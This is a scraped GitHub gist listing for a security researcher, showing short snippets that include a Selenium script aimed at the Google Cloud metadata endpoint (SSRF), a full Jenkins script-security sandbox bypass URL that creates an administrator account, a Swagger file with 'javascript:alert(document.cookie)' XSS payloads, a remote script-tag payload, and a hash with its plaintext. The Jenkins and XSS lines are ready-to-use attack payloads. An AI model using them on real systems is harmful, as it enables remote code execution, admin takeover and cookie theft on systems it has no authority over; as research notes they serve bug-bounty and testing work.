Skip to content

Instantly share code, notes, and snippets.

View smiegles's full-sized avatar
💭
Not available because I'm busy

Olivier beg smiegles

💭
Not available because I'm busy
185 followers · 11 following
View GitHub Profile
@smiegles
smiegles / selenium_google_metadata_ssrf.py
Created January 14, 2021 18:06
selenium_google_metadata_ssrf.py
require 'selenium-webdriver'
@host = "http://metadata.google.internal/computeMetadata/v1/instance/"
def setup
@driver = Selenium::WebDriver.for(
:remote,
url: 'https://SELENIUM_URL/wd/hub',
desired_capabilities: :chrome)
end
@smiegles
smiegles / payload
Created July 26, 2019 15:20 — forked from akhil-reni/payload
Jenkins Metaprogramming RCE Create new user
http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}}
@smiegles
smiegles / gist:f966e5cbccf516f5da119d28e74b7421
Created October 8, 2018 05:50
63CB9C0E41A3C64291D893F10C6C5620 : Ju35pQ7BmmCuQqNq : md5
@smiegles
smiegles / gist:3c8ae97c103fa291e1027bb3c855ad69
Created April 10, 2018 22:27
swagger: "2.0",
info:
title: "Swagger Sample App",
description: "Please to click Terms of service"
termsOfService: "javascript:alert(document.cookie)"
contact:
name: "API Support",
url: "javascript:alert(document.cookie)",
email: "javascript:alert(document.cookie)"
version: "1.0.1"
@smiegles
smiegles / gist:6fccaaba18c8f5ebb650fe2e31c5707f
Created March 8, 2017 13:00
keybase.md
### Keybase proof
I hereby claim:
* I am smiegles on github.
* I am smiegles (https://keybase.io/smiegles) on keybase.
* I have a public key ASBzeVeqz3_edEhnZh9gTm6BpeZzxqTa2WOMs4zH2dZzhwo
To claim this, I am signing this object:
@smiegles
smiegles / payload.html
Last active January 28, 2016 22:45
<script src="https://gist.githubusercontent.com/smiegles/9b27ab5931588aa862d5/raw/2325f2887fed43963a50c82af572823009f32150/script.js"></script>